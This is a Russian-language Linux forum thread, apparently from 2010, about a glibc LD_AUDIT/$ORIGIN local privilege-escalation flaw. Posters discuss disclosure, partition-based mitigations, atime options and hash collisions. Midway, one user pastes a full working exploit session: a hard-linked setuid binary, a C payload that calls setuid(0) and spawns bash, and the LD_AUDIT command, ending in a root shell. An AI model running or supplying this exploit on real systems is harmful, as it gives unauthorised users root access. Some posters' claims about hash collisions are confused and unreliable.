В Glibc обнаружена серьезная уязвимость

если более технически -

bash из которого проводились манипуляции получает SIGABRT из assert()
и завершается, терминал или sshd , из которого был запущен шелл, получает SIGCHLD с уведомлением о том что дочерний процесс завершился,

SIGCHLD не требует завершения процесса, но может приводить к тому что sshd закроет tcp соединение, а терминал закроется, т.к. он уже «пустой» и в нем ничего не запущено, это не аварийное а обычное завершение, также как если набрать в bash'e exit и выйти нормально.

> за год в ПОЛНОСТЬЮ открытой системе найдено 3 (ТРИ!) уязвимости, которые и использовать для вирусных эпидемий-то невозможно!..

И одной такой такой как эта достаточно. Какая разница, одна пробоина или три?

> а терминал закроется, т.к. он уже «пустой»

понятно, спасибо за разъяснение.

Ни в дженте, ни в бубунте не работает. Радость.

[me@localhost ~]$ mkdir /tmp/exploit
[me@localhost ~]$ ln /bin/ping /tmp/exploit/target
ln: создание жесткой ссылки «/tmp/exploit/target» => «/bin/ping»: Неверная ссылка между устройствами
[me@localhost ~]$ ls -l /bin/ping
-rwsr-xr-x 1 root root 36088 2010-07-13 17:18 /bin/ping*
[me@localhost ~]$ df
Файловая система      Разм  Исп  Дост  Исп% смонтирована на
/dev/sda9              13G  7,3G  4,6G  62% /
/dev/sda10             43G   32G  9,8G  77% /home
/dev/sda1              15G   15G  530M  97% /media/win_c
/dev/sda5             108G   89G   20G  83% /media/win_d
/dev/sda6              98G   73G   26G  75% /media/win_e
/dev/sda7              20G   14G  6,1G  69% /media/win_f
none                  1,6G  216K  1,6G   1% /tmp
[me@localhost ~]$

?????

Mandriva One 2010.1 Spring x64

http://www.linux.org.ru/jump-message.jsp?msgid=5457263&cid=5458480

ps: попробуйте в /var/tmp

Debian testing apt-get update && apt-get upgrade делал вчера

ls -l /bin/ping -rwsr-xr-x 1 root root 34248 Июл 24 07:38 /bin/ping

сплоит не работает: Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0" failed!

Баг, кстати, в багзиллу 15-го числа был отправлен. До публикации на seclist.

https://bugzilla.redhat.com/show_bug.cgi?id=643306

>Tomas Hoger 2010-10-15 04:58:02 EDT

Tavis Ormandy pointed out

taviso как честный человек отправил сначала информацию куда-то еще (скорее всего разработчикам glibc в рассылку) перед тем как выкладывать все на публику, вполне обычная практика, для избежания массовых p0wn zer0-day эксплоитами

ps: попробуйте в /var/tmp

Попробовал.

[me@localhost ~]$ mkdir /var/tmp/exploit
[me@localhost ~]$ ln /bin/ping /var/tmp/exploit/target
[me@localhost ~]$ exec 3< /var/tmp/exploit/target
[me@localhost ~]$ ls -l /proc/$$/fd/3
lrwx------ 1 me cdwriter 64 2010-10-20 14:00 /proc/17488/fd/3 -> /var/tmp/exploit/target*
[me@localhost ~]$ rm -rf /var/tmp/exploit/
[me@localhost ~]$ ls -l /proc/$$/fd/3
lrwx------ 1 me cdwriter 64 2010-10-20 14:00 /proc/17488/fd/3 -> /var/tmp/exploit/target (deleted)
[me@localhost ~]$ cat > payload.c
void __attribute__((constructor)) init()
{
	setuid(0);  
	system("/bin/bash");
}
[me@localhost ~]$ gcc -w -fPIC -shared -o /var/tmp/exploit payload.c
[me@localhost ~]$ ls -l /var/tmp/exploit
-rwxr-xr-x 1 me cdwriter 5839 2010-10-20 14:18 /var/tmp/exploit*
[me@localhost ~]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
[root@localhost ~]# whoami
root
[root@localhost ~]# id
uid=0(root) gid=80(cdwriter) группы=0(root),14(uucp),22(cdrom),80(cdwriter),83(dialout)
[root@localhost ~]#

:( :( :(

Шевелений на сайте мандривы не заметно.

о... ну хоть у кого-то кроме красношапочников, спасибо, добавляем в список Мандриву 2010

и это говорит медсестра! Я в шоке!

> линк делается только в пределах одной фс

Блин, риквестирую тег «сарказм»!

Прелесть юниксов ещё и в том, что любая задача решается несколькими способами. От подобных багов (в частности и от них) давно существует рекомендуемая практика разделять принципиально разные данные на разных fs. А ещё лучше — на разные физические устройства, чтобы работа с данными в /var или /home не влияла на запуск приложений, например.

Это «френдли линукс», как я понимаю, вместе с недоучками, притащил из винды особенность ставить всё на один «раздел».

PS. Кстати, ro / и /usr полезны ещё и по причине наличия отсутствия обновления atime.

расскажите это «недоучкам» из Debian )
(насколько я понимаю это чуть переделанный debian-installer для сквизи)

http://s59.radikal.ru/i166/1010/98/c558dfda71ff.png

ps:

кстати есть noatime или relatime опции, не обязательно делать ro

На «ванильной» glibc НЕ ПАШЕТ. (вылетает по assert) Проблема, очевидно, в пачах. Но примечательно даже не это...
А что же хваленный SELINUX не почесался ? 8) А ведь он на всех сабжах дефолтно врублен ...

>PS. Кстати, ro / и /usr полезны ещё и по причине наличия отсутствия обновления atime.

У меня все ФС смонтированы с опцией noatime

> расскажите это «недоучкам» из Debian )

Они и без меня прекрасно знают, но спрос рождает предложение. Я прекрасно помню, как ломались копья по этому поводу, но «недоучки» непрошибаемы: «зачем я буду терять место на винчестере…», «/home/lamer забил, на /usr, /var и /tmp ещё свободно, а фильмы скачать некуда…», «а-а-а… у меня на /tmp место закончилось»…

> кстати есть noatime или relatime опции, не обязательно делать ro

Спасибо, КО. Но, «ещё и», помимо основной задачи помешать выстрелить в ногу. Плюс, возможно чисто теоретически, но у ОС есть возможность оптимизировать доступ, зная, что записи не будет.

<КО-mode>
Все эти разделы разные: на /home не помешает nosuid и иногда noatime, на /var и|или /tmp — часто noexec, но редко noatime (в зависимости от системы и ПО). И это одна из задач администратора — продумать, какому разделу сколько места дать, какие права назначить, как соломку подстелить.

Хомячкам это неудобно — думать надо.
</КО-mode>

> У меня все ФС смонтированы с опцией noatime

Ломается всё ПО, которое пытается узнать, «а читался ли файл после последней модификации?». Тем более, сейчас в линуксе по дефолту relatime, поэтому noatime в большинстве случаев не нужен.

> Проблема была известна и ранее, но разработчики Glibc считали, что эксплуатировать ее невозможно.

Не пойму, им что, сложно было решить это на будущее? Или это затрагивает быстродействие?

По теме: уязвимость не такая уж и серьёзная в однопользовательских конфигурациях и не хостинг-серверах, так что не страшно. :)

Достаточно для чего? Метанировать на ЛОРе во имя господина Балмера?

И кстати, уязвимости linux устраняются мгновенно, а нескончаемые дыры в винде зияют годами.

Так на боевых машинах там, где суи(ци)ды, там ro, а там где хомяки, noexec.

То есть, попасть можно только на разработческом стенде, или на «персоналке» какой, где все в один раздел свалено (если не прикрыто другим способом).

Уныло и неинтересно.

Я хомяк) и у меня Мандрива 2010.1: /, /home, /usr на разных разделах - мне бояться или спать спокойно?

у кого /, /usr, /var, /tmp и /home — разные fs

игзплойтеры лососнут тунцов, всгео и делов.
со времён дыры в sendamil , которая леичлось раздельынм /tmp всегда тсраюась так делать, также как -o ro для /usr

> taviso как честный человек отправил сначала информацию куда-то еще (скорее всего разработчикам glibc в рассылку) перед тем как выкладывать все на публику

Ключевое слово «куда-то». Что ему мешало как раз делать 0wn zer0-day эксплоиты?

>Проблема была известна и ранее, но разработчики Glibc считали, что эксплуатировать ее невозможно.
Ну вот, Windows-стайл разработка («пока не поломали - пох%й») добралась и до линукса.

в OpenSUSE тоже r-x для всех

http://koji.fedoraproject.org/koji/buildinfo?buildID=201079

На первой странице топика очень удачно вписалось «История успеха» прям под новостью :)

Новость на Opennet

Оригинал

Метки: glibc, linux, уязвимость ijon (20.10.2010 1:09:46) Проверено: maxcom (20.10.2010 7:41:59) Последнее исправление: ijon 20.10.2010 1:33:09 (всего исправлений: 4) [Ответить на это сообщение] [Добавить в избранное]

←    ИСТОРИЯ УСПЕХА: бездисковый игровой клуб на Gentoo (Linux в России)

(выделение моё)

>Дай всем пользователям доступ на чтение к /bin/ping.

Да проще сразу ssh безпарольный от рута запустить.

Короче уязвимость из серии «Откройте гараж и ждите пока угонят»

У меня баг тоже не проявился.Дистр - Lenny.ЧЯДНТ?)

>Ты такой молодец, все предусмотрел заранее.
Ну, не совсем, просто /tmp удобно в RAM монтировать.

А можете разъяснить? Кроме этой уязвимости, есть еще какие-то проблемы с доступом на чтение пинга для всех?

LD_AUDIT=«\$ORIGIN» exec /proc/self/fd/3 bash: /proc/self/fd/3: Нет такого файла или каталога bash: exec: /proc/self/fd/3: не могу запустить: Нет такого файла или каталога

nyashka-01b4, glibc-2.11.1 што делать?

Забавно, что проявляется похоже только в красношапских дистрах. Они ведь там над безопасностью трясутся.

Не на всех, протестил на ASP 14, что-то не пашет(

bash-3.2$ LD_AUDIT=«\$ORIGIN» exec /proc/self/fd/3
bash: /proc/self/fd/3: Нет такого файла или каталога
bash: exec: /proc/self/fd/3: не могу запустить: Нет такого файла или каталога

bash-3.2$ ./exploit
Ошибка сегментирования

Как именно скомпреметированы MD5 и SHA1, и какое отношение это имеет к проверке контрольных сумм скачанных файлов?

Теоретически может быть такое повреждение файла, при котором контрольная сумма не изменится. При плохой связи и гигабайтных файлах такая вероятность сильно увеличивается. Выходит, можно специально раздавать неправильный торрент)))

> Ломается всё ПО, которое пытается узнать, «а читался ли файл после последней модификации?»

А вы способны назвать такое ПО - ну, кроме xbiff, pine и т.п. Или думать о деталях и причинах - это для хомячков, а вы мыслите глобально?

> Теоретически может быть такое повреждение файла, при котором контрольная сумма не изменится.

Это верно для любой хеш-функции.

При плохой связи и гигабайтных файлах такая вероятность сильно увеличивается.

Нет, она никак не изменяется из-за качества связи или размера файла.

Выходит, можно специально раздавать неправильный торрент)))

Нет, нельзя - можно только создать два торрента с одинаковой контрольной суммой (для MD5 или SHA-1).

На пратике нельзя таких торентов создать. Никто не сделает тут в лоре данные, хэш sha1 которых будет fc0712db8372114e3a554166eddb2303f30424c0. Что уж говорить про торренты.

Нет, она никак не изменяется из-за качества связи или размера файла.

Вот именно что изменяется. Когда битых пакетов слишком много, иногда при скачивании получается битый файл. Какому-то битому пакету удаётся обмануть протокол связи.
Умные люди утверждали что и вирус спокойно проходит через естественные отверстия в презервативе. Вот только большинство заблудится в лабиринте.

Нет, нельзя - можно только создать два торрента с одинаковой контрольной суммой (для MD5 или SHA-1).

Скачать по торренту файл, выключить качалку, подправить контент так чтобы нужные контрольные суммы не изменились и встать на раздачу. Разве такое невозможно?

> Вот именно что изменяется. Когда битых пакетов слишком много, иногда при скачивании получается битый файл.

У такого файла будет такая же вероятность совпадения хеша с другим файлом, как и до битых пакетов.

Скачать по торренту файл, выключить качалку, подправить контент так чтобы нужные контрольные суммы не изменились и встать на раздачу. Разве такое невозможно?

На данный момент неизвестно, как это сделать. Можно только создать два разных торрента, и одновременно подправлять у обоих контент, пока не найдутся два одинаковых хеша (называется Birthday Attack). Какой с этого может быть профит, непонятно. Можно, например, начать раздавать Хауса, а потом, после хороших отзывов, резко заменить его на бразильскую мыльную оперу.

>Можно только создать два разных торрента, и одновременно подправлять у обоих контент, пока не найдутся два одинаковых хеша (называется Birthday Attack).

Может я ошибаюсь, но емнип, sha1 поломали именно генерацией коллизии по заданному хэшу. На кластере около 10 секунд кажется. Поправьте, если я не прав.

> если для не юзера стоит r-x, эсплойт работает (Мандривы, Федоры, Убанты)

если стоит, --x, то не работает (Слаки и другие)

Вообще то, в оригинальном сообщении для этого случая эксплоит тоже приведён.

>> Вот именно что изменяется. Когда битых пакетов слишком много, иногда при скачивании получается битый файл.

У такого файла будет такая же вероятность совпадения хеша с другим файлом, как и до битых пакетов.

Это я описывал баги при скачивания больших файлов броузерами с фтп и хттп. Сомневаюсь что там всегда проверяется контрольная сумма всего файла, ведь как-то же они бились.

> А вы способны назвать такое ПО - ну, кроме xbiff, pine и т.п.

Да, а вы?

> Или думать о деталях и причинах - это для хомячков, а вы мыслите глобально?

Практика показывает, что хомячкам плевать. Им нужно привычно и без напряжения мозгов. Поставить всё в один раздел, и пофиг, что неоптимально. Вычитать в древней переписке, «noatime может на 5% увеличить производительность», но не знать, что сейчас relatime дефолтный, поэтому пользы ноль…

Думать о деталях и причинах — задача админа. Это он знает, что там tmpwatch чистит мусор, поэтому noatime нельзя, а там работает клиент бекапа от именитого производителя, а там — кластер, а там на вебе цемээскин кеш использует atime в LRU…

т.е. Как показала практика для Ъ линуксойдов, которые не парясь сделали по рекомендациям установщика отдельные разделы для / /etc /usr /var /tmp и конечно же, разумеется /home могут себе спокойненько спать.

ну или под рутом, скопировать сплойт вероятно в бин, дать ему там суид, и запустить под юзером, что бы проверить, а вдруг они подвержены уязвимости то.

> Может я ошибаюсь, но емнип, sha1 поломали именно генерацией коллизии по заданному хэшу. На кластере около 10 секунд кажется. Поправьте, если я не прав.

Вроде бы, это был md5, и действительно генерировалась коллизия. Но коллизия к заранее неизвестной сумме. Просто перебираются различные пары данных по специальному закону, пока не оказывалось, что у двух разных наборов байт одинаковая контрольная сумма. Реверса контрольной суммы пока что не было.

> т.е. Как показала практика для Ъ линуксойдов, которые не парясь сделали по рекомендациям установщика отдельные разделы для / /etc /usr /var /tmp и конечно же, разумеется /home могут себе спокойненько спать.

А можно узнать, какой это установщик рекомендует ставить на отдельный раздел /etc ?!